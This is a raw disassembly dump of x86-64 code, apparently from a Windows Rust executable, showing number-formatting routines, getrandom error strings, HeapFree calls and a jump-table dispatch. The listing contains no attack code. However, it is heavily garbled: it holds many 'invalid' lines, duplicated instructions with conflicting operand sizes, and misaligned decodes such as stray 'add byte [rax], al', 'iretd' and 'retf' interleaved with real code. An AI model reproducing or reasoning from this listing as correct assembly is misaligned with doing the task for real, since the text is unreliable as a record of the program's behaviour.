shr eax, 5
imul r12, rax, 0xa7c5ac5
shr r12, 0x27
cmp r11, 5
je 0x140018c31
cmp r9d, 0x186a0
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1d], al
test edx, edx
je 0x140018ce3
imul r12, r15, 0x431bde83
shr r12, 0x32
cmp r11, 6
je 0x140018c31
cmp r9d, 0xf4240
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x1e], al
test dx, dx
je 0x140018ceb
imul r12, r15, 0x6b5fca6b
shr r12, 0x36
cmp r11, 7
je 0x140018c2e
cmp r9d, 0x989680
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x1f], al
test dx, dx
je 0x140018cf3
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp r11, 8
jne 0x140018cfb
movzx edx, dx
mov qword [rbp + 0x10], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x140018d1f
lea rax, [r11 - 1]
mov edx, 0x30
nop word [rax + rax]
mov r12, rax
movzx r9d, byte [rbp + rax + 0x18]
lea r13d, [r9 + 1]
add rax, 0xffffffffffffffff
setb r15b
movzx r13d, r13b
cmp r9b, 0x39
cmovae r13d, edx
mov byte [rbp + r12 + 0x18], r13b
jb 0x140018c7d
test r15b, r15b
jne 0x140018c50
cmp r9b, 0x38
jbe 0x140018d1f
jmp 0x140018caa
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x140018d1b
mov qword [rbp + 0x10], 0
lea edx, [r9 + r9*4]
cmp edx, eax
jbe 0x140018caa
xor r11d, r11d
jmp 0x140018d1f
inc r8
jne 0x140018d1f
mov qword [rbp], 0
mov al, 1
jmp 0x140018d2d
mov r11d, 1
jmp 0x140018d1b
mov r11d, 2
jmp 0x140018d1b
mov r11d, 3
jmp 0x140018d1b
mov r11d, 4
jmp 0x140018d1b
mov r11d, 5
jmp 0x140018d1b
mov r11d, 6
jmp 0x140018d1b
mov r11d, 7
jmp 0x140018d1b
mov r11d, 8
jmp 0x140018d1b
mov qword [rbp + 0x10], r11
mov qword [rbp + 8], r8
mov qword [rbp], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rbp - 8], r9
mov rdx, rbp
mov qword [rbp - 0x58], rdx
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x50], rdx
lea rdx, [rbp - 8]
mov qword [rbp - 0x48], rdx
lea rdx, [rbp + 0x18]
mov qword [rbp - 0x40], rdx
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x38], rdx
mov dword [rbp - 0x38], edx
mov dword [rbp - 0x38], edx
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x30], rdx
cmp qword [rsi], 0
je 0x140018edb
test byte [rcx + rax], bl
invalid
test byte [rcx + rax], bl
add byte [rax - 0x7d], cl
cmp ebx, 1
jne 0x140018d8c
cmp rbx, 1
cmp ebx, 1
jne 0x140018d8c
xor r15d, r15d
xor edx, edx
jmp 0x140018df0
mov edx, ebx
and edx, 0x1e
invalid
pxor xmm0, xmm0
xor r15d, r15d
invalid
movdqa xmm1, xmmword [0x14010f740]
movdqa xmm2, xmmword [0x14010f750]
nop dword [rax + rax]
movzx r12d, word [r14 + r15]
movd xmm3, r12d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140018db0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140018e07
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140018df0
mov r14, qword [rsi + 8]
add r15, rdi
test al, al
je 0x140018e1b
add r15, 0x14
jmp 0x140018ea9
test r8, r8
je 0x140018ea6
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov ebp, 0xdbe6fece
mov ebp, 0xdbe6fece
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x140018e78
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
add r15, rdx
inc r15
jmp 0x140018ea9
inc r15
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, r15
sub r14, rcx
jbe 0x140018edb
movzx eax, byte [rsi + 0x38]
lea rcx, [0x1401724d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x140018f00
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140018fa0
jmp 0x140018f75
mov r12, r14
xor r14d, r14d
jmp 0x140018f00
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop
dec r12
je 0x140018f24
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x140018f10
jmp 0x140018f34
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140018fa0
test al, al
je 0x140018f38
mov al, 1
jmp 0x140018f75
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x140018f6c
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x140018f50
jmp 0x140018f6f
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140111688]
call fcn.1401048a0
int3
call fcn.140012db0
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
mov al, 1
test cl, cl
jne 0x140019c51
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x140019ba8
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
jmp 0x140019bbd
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140019c51
mov edx, dword [rdx + rcx*8]
mov ecx, ecx
lea r8, str.getrandom:_this_target_is_not_supportederrno:_did_not_return_a_positive_valueunexpected_situationSecRandomCopyBytes:_iOS_Security_framework_failureRtlGenRandom:_Windows_system_function_failureRDRAND:_failed_multiple_times:_CPU_issue_likelyRDRAND:_instruction_not_supportedWeb_Crypto_API_is_unavailableCalling_Web_API_crypto.getRandomValues_failedrandSecure:_VxWorks_RNG_module_is_not_initializedNode.js_crypto_CommonJS_module_is_unavailableCalling_Node.js_API_crypto.randomFillSync_failedNode.js_ES_modules_are_not_directly_supported__see_https:__docs.rs_getrandomnodejs_es_module_support
mov rcx, qword [r8 + rcx*8]
mov qword [rsp + 0x48], rcx
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], rdx
and al, 0x50
mov dword [rsp + 0x44], eax
lea rax, [0x140112288]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rdx, str.internal_code
lea rsi, [rsp + 0x30]
lea r9, [rsp + 0x44]
mov r8d, 0xd
mov rcx, rsi
call fcn.1400144f0
lea rax, [0x1401122b8]
mov qword [rsp + 0x20], rax
lea rdx, str.description
lea r9, [rsp + 0x48]
mov r8d, 0xb
mov rcx, rsi
call fcn.1400144f0
cmp byte [rsp + 0x39], 0
movzx ecx, byte [rsp + 0x38]
jne 0x140019b7c
test cl, cl
setne al
add rsp, 0x58
pop rdi
pop rsi
ret
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov bh, 0x3c
js 0x140019d45
mov dword [rsp + r11 + 0x34], edi
mov bh, 0x3c
js 0x140019d45
mov dword [rsp + r11 + 0x34], edi
sbb al, 0x34
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x36], si
mov r11, rax
cmp rcx, 0x5f5e0ff
stc
jmp rax
cmc
add eax, 0x77d18948
invalid
stc
jmp rax
cmp rdx, 0x63
jbe 0x140019d2e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x140019e37
or dl, 0x30
mov byte [rsp + rax + 0x37], dl
dec rax
jmp 0x140019e45
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
and cl, 0xf
and cl, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x140019db0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140019e7c
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x140019e6c
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
lea rdx, [rsp + rax]
add rdx, 0x38
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea r8, [0x14016f768]
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
lea r8, [0x1401111f8]
add eax, 0xf7375
mov edx, 0x80
call fcn.140104660
int3
in al, dx
mov al, 0
add byte [rax], al
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x140019f88
jrcxz 0x140019ea3
add byte [rax], al
test al, 0x20
jne 0x140019fd9
mov r10, rdx
mov r8d, dword [rcx]
mov ecx, r8d
neg ecx
cmovs ecx, r8d
cmovs ecx, eax
cmovs ecx, eax
mov eax, 0x27
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
cmp ecx, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x14001a065
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x66
nop word cs:[rax + rax]
add byte [rax], al
cmp dh, dl
invalid
add byte [rax], al
mov rax, rcx
mov eax, ecx
mul r11
mul ebx
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
iretd
sub edi, eax
invalid
iretd
invalid
imul ebx, edi, 0x147b
jnp case.0x14000d205.396
add byte [rax], al
add cl, al
jmp 0x140019f20
invalid
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
adc ebp, dword [rbx - 0x3d]
sub edi, eax
movzx edi, di
mov bh, 0xff
lea rax, [rsi - 4]
lea eax, [rsi - 4]
cld
movzx ebx, word [r9 + rbx*2]
sbb al, 0x59
mov word [rsp + rsi + 0x2c], bx
mov dword [rsp + rsi + 0x2c], ebx
pop rsp
xor al, 0x2c
invalid
sub al, 0x41
movzx edi, word [rcx + rdi*2]
mov bh, 0x3c
invalid
movzx edi, word [r9 + rdi*2]
mov bh, 0x3c
jns 0x140019f8f
mov word [rsp + rsi + 0x2e], di
mov dword [rsp + rsi + 0x2e], edi
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140019ef0
cmp rdx, 0x63
jbe 0x140019f6c
cli
invalid
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x14001a077
or dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x14001a085
mov eax, dword [rcx]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rcx - 0x77], al
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov rcx, r9
shr r8d, 4
mov r9d, eax
mov ecx, eax
add al, 0x41
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
lea edx, [rcx + 0x30]
lea r11d, [r9 + 0x57]
push rdi
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
stc
or al, byte [rbp + 0xf]
movzx ecx, dl
movzx ecx, dl
retf 0xf45
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + r9*4 + 0x54], 1
or al, 0x2e
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
or al, 0x2e
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae case.0x140012ef4.331
jmp 0x14001a027
mov eax, dword [rcx]
mov r9d, 0x81
mov r8d, eax
mov eax, eax
mov eax, eax
nop word cs:[rax + rax]
mov rcx, r9
mov ecx, ecx
shr r8d, 4
mov r9d, eax
mov ecx, eax
mov ecx, eax
and r9b, 0xf
and cl, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
xor byte [rbp - 0x73], al
lea r11d, [r9 + 0x37]
pop rcx
invalid
cmp r9b, 0xa
movzx r9d, r10b
invalid
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
invalid
retf 0xf45
movzx r10d, r11b
movzx edx, bl
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
invalid
invalid
push rsp
cmovb r10d, r9d
mov byte [rsp + rcx + 0x2e], r10b
push rsp
or al, 0x2e
lea r9, [rcx - 1]
inc qword [r11 - 0x76bbef08]
sal byte [rbx - 0x37], 0x48
jae 0x140019ff0
invalid
cmp eax, 0x10
mov eax, r8d
adc byte [rcx + rcx*4 - 0x40], al
jae 0x140019ff0
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x81
jae 0x14001a0c1
add byte [rax], al
add byte [rdi], cl
or dword [rcx - 0x48000000], 0xffffff81
add byte [rax], al
mov eax, 0x81
sub rax, r9
add byte [rax], al
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
xor byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
add byte [rax - 0x77], cl
invalid
mov dl, 1
jmp 0x14001a0b0
add byte [rax - 0x77], cl
sal dword [rdx + 0x484beb01], 1
mov edx, ecx
mov rdx, rcx
cmp rdx, 0x63
ja 0x140019f42
invalid
invalid
invalid
invalid
jmp 0x140019f6c
invalid
movzx edx, word [r9 + rdx*2]
movzx edx, word [rcx + rdx*2]
push rcx
mov word [rsp + rax + 0x2e], dx
push rsp
add al, 0x2e
add rax, 0xfffffffffffffffe
inc byte [rbp - 0x7b]
ror byte [rdi], 0x99
ret 0x8d4c
test r8d, r8d
setns dl
lea r8, [rsp + rax]
add r8, 0x30
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r8
and al, 0x20
lea r8, [0x14016f768]
xor r9d, r9d
adc eax, 0xc9314500
call fcn.140012db0
nop
add rsp, 0xb0
mov al, 0
add byte [rax], al
invalid
mov al, 0
add byte [rax], al
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x1401111f8]
mov edx, 0x80
xor byte [rcx + 0xf], dh
add byte [rdx + 0x80], bh
call fcn.140104660
int3
in al, dx
push 0xffffffffc085018b
js 0x14001a10d
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x140019830]
mov qword [rsp + 0x30], rax
lea rax, str.OS_Error:
jmp 0x14001a147
mov ecx, eax
and ecx, 0x7fffffff
cmp ecx, 0xf
jae case.default.0x14001a1b4
mov r8d, 0x79ff
bt r8d, eax
jb 0x14001a189
mov dword [rsp + 0x24], eax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
lea rax, [0x140013ba0]
mov qword [rsp + 0x30], rax
lea rax, str.Unknown_Error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
cmp al, ch
fst qword [rdi + 0x4890ffff]
add rsp, 0x68
call fcn.140013960
nop
add rsp, 0x68
ret
lea rax, [0x14016fb50]
mov r8, qword [rax + rcx*8]
mov eax, ecx
lea rcx, str.getrandom:_this_target_is_not_supportederrno:_did_not_return_a_positive_valueunexpected_situationSecRandomCopyBytes:_iOS_Security_framework_failureRtlGenRandom:_Windows_system_function_failureRDRAND:_failed_multiple_times:_CPU_issue_likelyRDRAND:_instruction_not_supportedWeb_Crypto_API_is_unavailableCalling_Web_API_crypto.getRandomValues_failedrandSecure:_VxWorks_RNG_module_is_not_initializedNode.js_crypto_CommonJS_module_is_unavailableCalling_Node.js_API_crypto.randomFillSync_failedNode.js_ES_modules_are_not_directly_supported__see_https:__docs.rs_getrandomnodejs_es_module_support
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x68
jmp r9
invalid
int3
int3
add byte [rax], al
mov rdi, rdx
mov rsi, rcx
mov rcx, rdx
call fcn.14001a320
mov ebp, eax
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14001a2d0
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
and al, 0x48
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x98], 0x20
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 3
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x88], rdx
lea rdx, [0x140112640]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x68]
call rax
test al, al
jne case.0x14000d205.97
lea rbx, [rdi - 1]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
mov byte [rsi + 1], bpl
add dword [rax - 0x77], ecx
or byte [rdi], r9b
sub byte [rsp + 0x50], al
movups xmmword [rsi + 0x10], xmm0
mov byte [rsi], 2
mov rsi, qword [rdi - 1]
mov rdi, qword [rdi + 7]
jg 0x14001a29a
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001a2bc
cmp qword [rdi + 0x10], 0x11
adc byte [rcx], dl
jb 0x14001a2aa
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001a2e5
invalid
xor dl, byte [rcx + 0xf]
add bl, ch
adc eax, 0x16e8840
mov byte [rsi + 1], bpl
movabs rax, 0x8000000000000000
mov qword [rsi + 8], rax
invalid
add byte [rax], al
add byte [rax + 0x8468948], al
invalid
or dh, al
invalid
mov byte [rsi], 2
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, [0x14016eaa0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_string.rs
lea r9, [0x140112670]
or eax, 0xf8365
lea r8, [rsp + 0x37]
mov edx, 0x37
call fcn.1401049b0
xchg esi, eax
cmpsb byte [rsi], byte [rdi]
invalid
add ah, cl
xchg esi, eax
cmpsb byte [rsi], byte [rdi]
invalid
int3
int3
and eax, 3
lea rdx, [0x1401724e0]
mov ah, 0x81
adc eax, 0x4634800
movsxd rax, dword [rdx + rax*4]
add rax, rdx
sar bh, 1
invalid
invalid
sar bh, 1
loopne 0x14001a345
invalid
movzx eax, byte [rcx + 0x10]
ret
mov dh, 0x41
adc bl, al
shr rcx, 0x20
mov al, 1
cmp ecx, 0x3e2
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rsi + 0x3f], bh
jle 0x14001a387
cmp ecx, 0x271c
stc
sbb al, 0x27
add byte [rax], al
jle 0x14001a3a9
pop rcx
lea edx, [rcx - 0x271d]
jrcxz case.0x14000d205.180
fdivr st(7)
invalid
inc dword [rbx - 0x78f0cb06]
enter 0, 0
add byte [rax], al
invalid
cmp edx, 0x34
xor al, 0xf
xchg eax, ecx
ja 0x14001a427
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140172918]
lea rcx, [0x140172918]
mov dl, 0x85
adc eax, 0x14634800
add byte [rax + 0x63], cl
adc al, 0x91
add byte [rax + 0x63], cl
movsxd rdx, dword [rcx + rdx*4]
adc al, 0x91
add rdx, rcx
jmp rdx
mov al, 0xd
ret
shr rcx, 0x20
cmp ecx, 0x29
mov eax, 0x29
cmovb eax, ecx
ret
movzx eax, byte [rcx + 0xf]
ret
lea edx, [rcx - 2]
cmp edx, 0x109
add dword [rax], eax
add byte [rdi], cl
xchg ebx, eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1401724f0]
lea rcx, [0x1401724f0]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x14001a3e2
cmp ecx, 0x1b7f
stc
jg 0x14001a3d0
add byte [rax], al
jg 0x14001a40d
cmp ecx, 0x1715
jg 0x14001a470
cmp ecx, 0x50f
add eax, 0x840f0000
invalid
je 0x14001a4e7
add dword [rax], eax
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
test byte [rbp - 0x17000000], dh
mov eax, dword [rax]
add byte [rax], al
cmp ecx, 0x5b4
je case.0x14002aefe.47
add eax, 0x840f0000
mov ch, 0
add byte [rax], al
jmp case.0x14001c8b2.1
cmp ecx, 0x46a
jle 0x14001a43c
cmp ecx, 0x4ce
jg 0x14001a495
lahf
add byte [rax], al
invalid
add byte [rdi], cl
invalid
lahf
add byte [rax], al
add byte [rcx + 0x46bf9], al
cmp ecx, 0x46b
imul eax, dword [rax + rax], 0
add byte [rdi], cl
test al, ch
invalid
add byte [rax], al
je 0x14001a4ea
call 0xc101a403
stc
add byte [rcx + 0x476f9], al
add byte [rbp + 0x63], dh
cmp ecx, 0x476
jbe 0x14001a40a
add byte [rax], al
jne case.0x14001c8b2.1
mov al, 0x20
ret
cmp ecx, 0x2021
jg 0x14001a482
cmp ecx, 0x1b80
je case.0x14002aefe.47
cmp ecx, 0x1f4e
je case.0x14002aefe.47
jmp case.0x14001c8b2.1
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x14002aefe.47
cmp ecx, 0x35ed
add byte [rax], al
je case.0x14002aefe.47
jmp case.0x14001c8b2.1
cmp ecx, 0x3e3
je case.0x14002aefe.47
cmp ecx, 0x41d
je case.0x14002aefe.47
cmp ecx, 0x461
je case.0x14002aefe.47
stc
invalid
jmp case.0x14001c8b2.1
mov al, 0x21
ret
cmp ecx, 0x150
add byte [rax], al
je 0x14001a4ed
cmp ecx, 0x252
je case.0x14002aefe.47
mov al, 0x28
ret
cmp ecx, 0x1716
je case.0x14002aefe.47
invalid
cmp ecx, 0x1b64
je case.0x14002aefe.47
jmp case.0x14001c8b2.1
cmp ecx, 0x2022
je case.0x14002aefe.47
cmp ecx, 0x25e9
stc
jmp 0x1b501a4b6
add byte [rax], al
invalid
add byte [rax], al
jne case.0x14001c8b2.1
invalid
mov al, 0x16
ret
cmp ecx, 0x4cf
je case.0x14002aefe.38
cmp ecx, 0x4d0
jne case.0x14001c8b2.1
stc
rol byte [rax + rax], 1
add byte [rbp - 0x38], dh
mov al, 4
ret
mov al, 0x14
ret
mov al, 0x26
ret
mov al, 0x18
ret
sbb bl, al
mov al, 0xb
ret
or eax, ebx
mov al, 0xc
ret
or al, 0xc3
mov al, 5
ret
add eax, 0xc302b0c3
mov al, 2
ret
add al, bl
mov al, 9
ret
or ebx, eax
mov al, 8
ret
or bl, al
mov al, 6
ret
invalid
mov al, 0xa
ret
mov al, 3
ret
mov al, 7
ret
mov al, 0x24
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x1b
ret
mov al, 0x19
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
invalid
and al, 0x2e
and dl, 0x3f
or dl, 0x80
or byte [rax - 0x40d0dbac], 4
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rbx, qword [rsi + 0x10]
mov ebx, dword [rsi + 0x10]
or byte [rax - 0x40d0dbac], 4
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ebx, dword [rsi + 0x10]
sub rax, rbx
sub eax, ebx
cmp rax, rdi
jb 0x14001a5f1
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140104c70
mov rbx, qword [rsi + 0x10]
jmp case.0x14002aefe.62
mov rcx, rdi
mov rdx, qword [rsp + 0x118]
call fcn.14001b3c0
movzx r14d, byte [rsp + 0xd0]
movzx ebx, byte [rsp + 0x110]
cmp bl, 8
je 0x14001b08a
lea rcx, [rsp + 0xd1]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x2f]
lea rdx, [rsp + 0x41]
movups xmmword [rdx + 0x2f], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov eax, dword [rcx + 0x40]
mov ecx, dword [rcx + 0x43]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
xor r13d, r13d
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.14001bbd0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
lea rcx, [rsp + 0xe8]
call qword [rax + 0x10]
mov byte [rsp + 0x40], r14b
mov byte [rsp + 0x80], bl
mov rcx, r12
lea rdx, [rsp + 0x40]
call fcn.14001bed0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rdx + 8]
cmp rax, rcx
jbe 0x14001afbe
mov rdx, qword [rdx]
movzx r8d, byte [rdx + rcx]
test r8b, r8b
js 0x14001a930
cmp r8b, 0x3f
ja 0x14001aa10
mov r9d, r8d
and r9b, 0x30
je 0x14001a8f3
movzx r9d, r9b
cmp r9d, 0x10
jne 0x14001ac2b
mov rcx, rdi
mov rdx, rsi
mov r8, r15
xor r9d, r9d
call fcn.14001c670
movzx r14d, byte [rsp + 0xd0]
movzx ebx, byte [rsp + 0x110]
cmp bl, 8
jne 0x14001a82a
jmp 0x14001b08a
